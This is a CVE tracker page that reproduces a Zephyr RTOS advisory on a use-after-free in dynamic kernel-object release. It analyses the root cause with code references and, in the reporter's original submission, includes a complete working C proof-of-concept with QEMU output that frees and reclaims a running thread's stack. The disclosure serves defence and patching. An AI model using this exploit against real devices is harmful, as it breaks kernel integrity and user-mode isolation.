CVE Watchtower

CVE-2026-130477zephyr Use After Free

NVD

Vulnerability Summary

In the kernel's user-mode object management, `unref_check()` in `kernel/userspace/userspace.c` frees a dynamically allocated kernel object as soon as its permission bitmap becomes empty. It does not check the object type or whether the kernel still uses the object. `k_thread_create()` keeps pointers to a dynamic `struct k_thread` (from `k_object_alloc(K_OBJ_THREAD)`) and a dynamic stack (from `k_object_alloc_size(K_OBJ_THREAD_STACK_ELEMENT, ...)` or `k_thread_stack_alloc()` with `K_USER`) for the whole life of the thread, but nothing in the bitmap records this. `z_thread_user_init()` gives the new thread permission on its own thread object only, not on its stack. When the thread terminates, `halt_thread()` calls `z_thread_release()`, and its `z_thread_user_exit()` drops all of the thread's permissions. If that leaves the bitmap empty, the thread's own `struct k_thread` (and a stack it holds the last permission on) is freed before the abort path and the context switch are done with it. Any user thread with a resource pool can trigger this through syscalls it is allowed to make. If it creates a thread on a dynamic stack and then calls `k_object_release()` on the stack, or exits, the stack block is freed while the child still runs on it. With `CONFIG_GEN_PRIV_STACKS` that block also holds the privileged stack and `z_stack_data`, and the child keeps user-mode access to it. Once the creator has released a dynamic thread object, the thread itself can call `k_object_release()` on its own thread object and free its `struct k_thread` while it is running. `z_vrfy_k_object_release()` checks only that the caller holds permission on the object. If the creator has dropped its permissions, the child's ordinary termination frees the thread object inside `halt_thread()`. The kernel then still reads and writes the freed memory: `thread->stack_obj`, the thread state, `swap_retval` and `switch_handle`, and CPUs waiting for the halt spin on it. On SMP builds, another CPU can reallocate the memory in that window. All of this needs `CONFIG_USERSPACE` and `CONFIG_DYNAMIC_OBJECTS`. Freed blocks go back to the thread's resource pool, which also serves later kernel allocations such as other dynamic kernel objects and their metadata. A user thread can then read and write kernel heap memory it was never granted, overwrite kernel data later placed there, or control the contents of a `struct k_thread` that the scheduler still uses. This breaks kernel integrity (P1) and user-mode isolation (P2) from an unprivileged user thread. The supervisor-only `k_object_free()` states that it is not exposed to user mode because the kernel cannot tell whether an object is still in use, and `k_thread_stack_free()` refuses to free a stack in use. Dropping permissions gets around both. Affected components - `kernel/userspace/userspace.c` - `kernel/userspace/userspace_handler.c` - `kernel/userspace/thread_user.c` - `kernel/sched.c` Affected versions `>= 1.12.0` Fix No fix has been released yet. This advisory will be updated when one lands. Introduced by: present since at least v1.12.0 (337e74334c, userspace: automatic resource release framework) Evidence - kernel/userspace/userspace.c:694-751 — unref_check(): clears the bit and, for any K_OBJ_FLAG_ALLOC object with an empty bitmap, frees it - kernel/userspace/userspace.c:712-716 — the only liveness test is the permission bitmap; no test of ko->type or K_OBJ_FLAG_INITIALIZED before the free - kernel/userspace/userspace.c:723-743 — per-type cleanup covers only K_OBJ_MSGQ, K_OBJ_STACK and K_OBJ_TIMER; thread and stack objects fall through to the free - kernel/userspace/userspace.c:745-747 — sys_dlist_remove(), k_free(dyn->data), k_free(dyn) - kernel/userspace/userspace.c:396-431 — a dynamic stack block holds the user stack, and with CONFIG_GEN_PRIV_STACKS the privileged stack and z_stack_data, in one allocation - kernel/userspace/userspace.c:440-445 — for other types dyn->data is the object itself, so for K_OBJ_THREAD the free releases the struct k_thread - kernel/userspace/userspace.c:513-521 — the allocating thread gets the only permission bit and K_OBJ_FLAG_ALLOC enables auto-free - kernel/userspace/userspace.c:542-545 — k_object_free() is deliberately not exposed to user mode because in-use objects cannot be detected - kernel/userspace/userspace.c:786-801 — perms_clear_index() calls unref_check() - kernel/userspace/userspace.c:815-820, 854-857 — k_thread_perms_all_clear() runs unref_check() for the exiting thread on every object, so a creator's exit frees a child's stack and a child's exit can free its own thread object - kernel/userspace/userspace_handler.c:31-34 — validate_any_object() checks only K_OBJ_ANY / _OBJ_INIT_ANY plus caller permission - kernel/userspace/userspace_handler.c:75-82 — z_vrfy_k_object_release() calls k_thread_perms_clear(ko, _current) on any object the caller holds, including initialised thread and stack objects - kernel/userspace/thread_user.c:26-37 — z_thread_user_init() retains thread->stack_obj and grants the thread permission on itself only, not on its stack - kernel/userspace/thread_user.c:43-45 — the child gets the stack bit only with K_INHERIT_PERMS - kernel/userspace/thread_user.c:48-54 — z_thread_user_exit() calls k_thread_perms_all_clear() and then reads thread->stack_obj and calls k_object_uninit() on objects it may just have freed - kernel/thread.c:971-985 — z_thread_release() runs z_thread_user_exit() and then exit_thread_abort_cleanup(thread), with _current still the aborting thread on a self-abort - kernel/thread.c:1503-1511, 1539-1548, 1554-1582 — k_thread_abort_cleanup() reads and writes thread->stack_info.mapped after the possible free (CONFIG_THREAD_ABORT_NEED_CLEANUP) - kernel/sched.c:569-575 — halt_thread() comment: the caller (not the halt path) may free a dynamic thread's storage afterwards - kernel/sched.c:629-664 — halt_thread() calls z_thread_release() and then still uses thread (spin-validate check, z_smp_clear_halting()) - kernel/include/ksmp.h:95-100 — z_smp_clear_halting() read-modify-writes thread->base.thread_state on SMP builds; other CPUs spin on it - kernel/sched.c:185-192 — on a self-abort, z_thread_halt() reads the essential flag and calls z_swap_locked() on the freed _current - kernel/include/kswap.h:46-50, 89-93 — do_swap() writes old_thread->swap_retval and arch_switch() stores into old_thread->switch_handle after the scheduler lock is released - kernel/smp/sched_smp.c:230 — remote aborters spin locklessly on the halted thread's state - kernel/thread.c:1805-1806 — k_thread_join() reads the thread state and spins on its switch handle - kernel/thread.c:1076-1086 — z_vrfy_k_thread_create() accepts dynamic thread and stack objects with only never-initialised and permission checks - kernel/thread.c:1122-1125 — the new thread is set up on the caller's objects and scheduled - kernel/thread.c:803-813 — the child inherits the creator's resource_pool and inherits permissions only with K_INHERIT_PERMS - kernel/dynamic.c:64-66 — k_thread_stack_alloc() with K_USER allocates a stack via k_object_alloc_size(), so it has the same lifetime - kernel/dynamic.c:124-136 — k_thread_stack_free() refuses to free a stack that a live thread uses (-EBUSY), showing the intended rule - kernel/dynamic.c:171 — z_vrfy_k_thread_stack_free() requires the stack to be uninitialised - include/zephyr/internal/syscall_handler.h:124-137 — documents that kernel-held pointers do not keep dynamic objects alive and that retaining syscalls must reject dynamic objects - kernel/mempool.c:189-208 — dynamic objects come from _current->resource_pool, the same heap that later kernel allocations for that pool use - arch/Kconfig:542-553 — CONFIG_DYNAMIC_OBJECTS, default n, depends on USERSPACE - kernel/Kconfig:207-211 — CONFIG_DYNAMIC_THREAD (experimental) selects DYNAMIC_OBJECTS if USERSPACE Acknowledgements The dynamic-stack case (a parent releasing a running child's stack) was first reported by XueDugu. The thread-object and thread-exit cases were found by d3zd3z using Claude Mythos 5.2 (`claude-mythos-5-2`), with the security-dive analysis tooling. <!-- zepsec:original --> <details> <summary>Original report as submitted by the reporter</summary> On the userspace syscall path, `kernel/thread.c` verifies that the supplied stack object is a valid `K_OBJ_THREAD_STACK_ELEMENT`, but `z_setup_new_thread()` only grants the new thread access to its own `struct k_thread` and never grants it access to its own stack object. If the parent allocated the stack dynamically with `k_object_alloc_size(K_OBJ_THREAD_STACK_ELEMENT, ...)`, the parent remains the only holder of the stack-object permission. The parent can then call the official `k_object_release()` syscall on a still-running child stack, causing `unref_check()` to remove the stack object from the kobject table and free the backing heap allocation while the child continues executing on that freed stack. A second allocation can immediately recycle the same address, producing a real live use-after-free in Zephyr. Summary - Affected code: - `kernel/thread.c:824` - `kernel/thread.c:606` - `kernel/thread.c:612` - `kernel/userspace/userspace.c:596` - Root cause: - child thread creation validates the dynamic stack object but does not grant the new thread permission on that stack object - dynamic object lifetime is keyed only to permission bits, not to whether the stack is still active in a running thread - Impact: - low-privilege userspace thread can free and recycle a live child thread stack through official syscalls Details Entry point: - `kernel/thread.c:809` - `z_vrfy_k_thread_create(struct k_thread new_thread, k_thread_stack_t *stack, ...)` - validates that `stack` is a `K_OBJ_THREAD_STACK_ELEMENT` Missing ownership transfer: - `kernel/thread.c:606` - `k_object_init(new_thread);` - `kernel/thread.c:607` - `k_object_init(stack);` - `kernel/thread.c:612` - `k_object_access_grant(new_thread, new_thread);` - there is no corresponding `k_object_access_grant(stack, new_thread)` Trusted free path: - `kernel/userspace/userspace.c:708` - `k_thread_perms_clear()` - `kernel/userspace/userspace.c:596` - `unref_check()` - once the parent releases the dynamic stack object and no permission bits remain, `unref_check()` removes the object from the table and frees both `dyn->data` and `dyn` Verified Zephyr-native exploitation: - PoC board: `qemu_x86_64` - configuration: `CONFIG_USERSPACE=y`, `CONFIG_DYNAMIC_OBJECTS=y` - attack flow: - parent allocates a dynamic child thread object and dynamic child stack with official syscalls - parent creates a userspace child thread on that stack - parent calls `k_object_release(child_stack_obj)` while the child is still running - parent immediately allocates another dynamic stack object and receives the same address back - the original child continues executing and mutating bytes inside the reallocated object - observed runtime evidence: - `find(stack)=(nil)` - `reused_stack=<same address as child_stack>` - `iter_before=... iter_after=...` - `EXP_SUCCESS released child stack was removed from the kobject table, reallocated at the same address, and later mutated by the still-running child thread` This was reproduced inside a real Zephyr image on `qemu_x86_64`, not with a host-side model. PoC ```c include <zephyr/app_memory/app_memdomain.h> include <zephyr/kernel.h> include <zephyr/sys/printk.h> include <string.h> struct k_object; extern struct k_object *k_object_find(const void *obj); define CHILD_STACK_SIZE 2048 K_APPMEM_PARTITION_DEFINE(exp_part); static struct k_mem_domain exp_domain; K_THREAD_STACK_DEFINE(parent_stack, 4096); static struct k_thread parent_thread; K_APP_BMEM(exp_part) static struct k_thread *child_obj; K_APP_BMEM(exp_part) static k_thread_stack_t *child_stack_obj; K_APP_BMEM(exp_part) static k_thread_stack_t *reused_stack_obj; K_APP_BMEM(exp_part) static volatile uint32_t child_iter; K_APP_BMEM(exp_part) static volatile uintptr_t child_sp; K_APP_BMEM(exp_part) static volatile uint32_t parent_phase; K_APP_BMEM(exp_part) static volatile uint32_t stack_released; K_APP_BMEM(exp_part) static volatile int parent_status; static uint8_t snap_before[CHILD_STACK_SIZE]; static uint8_t snap_after[CHILD_STACK_SIZE]; static void burn_stack(uint8_t tag, int depth) { volatile uint8_t pad[256]; for (size_t i = 0; i < sizeof(pad); i++) { pad[i] = (uint8_t)(tag + i + depth); } if (depth > 0) { burn_stack(tag + 7U, depth - 1); } asm volatile("" : : "r"(pad[0]), "r"(pad[sizeof(pad) - 1]) : "memory"); } static void child_entry(void *a, void *b, void *c) { ARG_UNUSED(a); ARG_UNUSED(b); ARG_UNUSED(c); while (stack_released == 0U) { child_iter++; k_msleep(1); } while (true) { uint32_t iter = child_iter + 1U; uintptr_t sp; volatile uint8_t *hot; asm volatile("mov %%rsp, %0" : "=r"(sp)); child_sp = sp; hot = (volatile uint8_t )(sp - 192U); for (size_t i = 0; i < 128; i++) { hot[i] = (uint8_t)(iter + i); } child_iter = iter; burn_stack((uint8_t)iter, 3); asm volatile("" ::: "memory"); } } static void parent_entry(void a, void *b, void *c) { k_tid_t tid; ARG_UNUSED(a); ARG_UNUSED(b); ARG_UNUSED(c); printk("user-parent: alloc child thread object\n"); child_obj = k_object_alloc(K_OBJ_THREAD); child_stack_obj = k_object_alloc_size(K_OBJ_THREAD_STACK_ELEMENT, CHILD_STACK_SIZE); if ((child_obj == NULL) || (child_stack_obj == NULL)) { parent_status = -ENOMEM; parent_phase = 100; return; } printk("user-parent: child_obj=%p child_stack=%p\n", child_obj, child_stack_obj); tid = k_thread_create(child_obj, child_stack_obj, CHILD_STACK_SIZE, child_entry, NULL, NULL, NULL, 0, K_USER, K_NO_WAIT); if (tid == NULL) { parent_status = -EIO; parent_phase = 100; return; } k_thread_name_set(tid, "uaf-child"); parent_phase = 1; while (child_iter < 50U) { k_busy_wait(1000); } printk("user-parent: releasing running child stack object %p\n", child_stack_obj); k_object_release(child_stack_obj); reused_stack_obj = k_object_alloc_size(K_OBJ_THREAD_STACK_ELEMENT, CHILD_STACK_SIZE); printk("user-parent: reused_stack=%p (old=%p)\n", reused_stack_obj, child_stack_obj); stack_released = 1U; parent_status = (reused_stack_obj == child_stack_obj) ? 0 : -EAGAIN; parent_phase = 2; while (true) { k_sleep(K_MSEC(100)); } } static void dump_bytes(const char *label, const uint8_t *buf, size_t len) { printk("%s", label); for (size_t i = 0; i < len; i++) { printk("%02x", buf[i]); if (i + 1U != len) { printk(" "); } } printk("\n"); } int main(void) { k_tid_t tid; uint8_t *watch; int first_diff = -1; uint32_t iter_before; uint32_t iter_after; size_t watch_len; printk("PoC: release running child dynamic thread stack -> live UAF\n"); k_mem_domain_init(&exp_domain, 0, NULL); k_mem_domain_add_partition(&exp_domain, &exp_part); tid = k_thread_create(&parent_thread, parent_stack, K_THREAD_STACK_SIZEOF(parent_stack), parent_entry, NULL, NULL, NULL, 0, K_USER, K_FOREVER); k_thread_name_set(tid, "uaf-parent"); k_mem_domain_add_thread(&exp_domain, tid); k_thread_start(tid); for (int i = 0; (i < 100) && (parent_phase < 2); i++) { k_sleep(K_MSEC(50)); } printk("kernel: phase=%d status=%d child_iter=%u child_stack=%p reused_stack=%p find(stack)=%p\n", (int)parent_phase, parent_status, child_iter, child_stack_obj, reused_stack_obj, (void )k_object_find(child_stack_obj)); if ((parent_phase < 2) || (parent_status != 0)) { printk("EXP_NO_REUSE child stack object was not reused in this heap layout\n"); return 0; } printk("kernel: child stack_info.start=%p size=%zu stack_obj=%p child_sp=%p\n", (void )child_obj->stack_info.start, child_obj->stack_info.size, child_obj->stack_obj, (void )child_sp); while (child_sp == 0U) { k_sleep(K_MSEC(1)); } watch = (uint8_t )(child_sp - 256U); watch_len = 256U; iter_before = child_iter; memcpy(snap_before, watch, watch_len); while (child_iter < (iter_before + 20000U)) { k_sleep(K_MSEC(1)); } iter_after = child_iter; memcpy(snap_after, watch, watch_len); for (size_t i = 0; i < watch_len; i++) { if (snap_before[i] != snap_after[i]) { first_diff = (int)i; break; } } printk("kernel: iter_before=%u iter_after=%u\n", iter_before, iter_after); if (first_diff >= 0) { int dump_start = first_diff; if (dump_start > ((int)watch_len - 64)) { dump_start = (int)watch_len - 64; } printk("kernel: first_diff=%d\n", first_diff); dump_bytes("kernel: before ", &snap_before[dump_start], 64); dump_bytes("kernel: after ", &snap_after[dump_start], 64); printk("EXP_SUCCESS released child stack was removed from the kobject table, reallocated at the same address, and later mutated by the still-running child thread\n"); } else { printk("EXP_NO_CORRUPTION released child stack snapshot stayed unchanged\n"); } return 0; } ``` output: ```bash SeaBIOS (version zephyr-v1.16.3-2-0-gf8da0cc-zephyr) Booting from ROM.. Booting Zephyr OS build v4.4.0-373-g4f2e63556a0f PoC: release running child dynamic thread stack -> live UAF user-parent: alloc child thread object user-parent: child_obj=0x1540a0 child_stack=0x155000 user-parent: releasing running child stack object 0x155000 user-parent: reused_stack=0x155000 (old=0x155000) kernel: phase=2 status=0 child_iter=5313 child_stack=0x155000 reused_stack=0x155000 find(stack)=0x154480 kernel: child stack_info.start=0x156000 size=4096 stack_obj=0x155000 child_sp=0x156fa0 kernel: iter_before=5316 iter_after=29039 kernel: first_diff=0 kernel: before d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 kernel: after 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 EXP_SUCCESS released child stack was removed from the kobject table, reallocated at the same address, and later mutated by the still-running child thread ``` Impact - live kernel stack use-after-free - dynamic stack object reuse at the same address while the original thread is still executing - denial of service - potential integrity impact depending on what object reuses the freed stack allocation fix suggestion Patch both the creation and destruction side: 1. In `z_setup_new_thread()`, grant the child permission on its own stack object whenever the stack is a userspace-visible dynamic `K_OBJ_THREAD_STACK_ELEMENT`. 2. In the dynamic-object lifetime path, treat active thread stacks as pinned kernel resources and refuse to free them while any live thread still references `thread->stack_obj`. 3. Audit other userspace-visible dynamic objects whose lifetime is currently keyed only to permission bits instead of actual in-kernel reachability. </details> <!-- zepsec:original --> <!-- zepsec:patch --> Patches | Branch | Pull request | Status | | --- | --- | --- | | `main` | #126063 | open | <!-- zepsec:patch --> For more information If you have any questions or comments about this advisory: Open an issue in zephyr * Email us at Zephyr-vulnerabilities embargo: 2026-08-31
Severity Level
HIGH(8.8)
Published Date
Nov 25, 2026
Last Modified
Nov 25, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The product reuses or references memory after it has been freed, which can cause a crash or execution of arbitrary code.
CVSS v3.1 Base Metrics — Score 8.8
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack VectorLocal
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeChanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh

Affected & Patched Versions

Affected Versions
  • zephyr >= 1.12.0
Patched Versions
No patched version published yet
Until a fix ships, reduce exposure:
  • Restrict access to the affected service or interface to trusted networks.
  • Disable the affected feature if you do not need it.
  • Watch the vendor advisory for a firmware or software update.

What to do

Plan remediation soon. No exploitation is confirmed yet, but the severity is high.

  1. Check whether you run zephyr and which version.
  2. No patched version is listed yet. Limit access to the affected service to trusted networks, and disable the feature if you can.
  3. Subscribe to the vendor advisory so you learn when a fix ships.

Timeline

  • Nov 25, 2026Published
  • Nov 25, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new zephyr CVEsYou are reading CVE-2026-130477. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Nov 27, 2026 08:01 UTC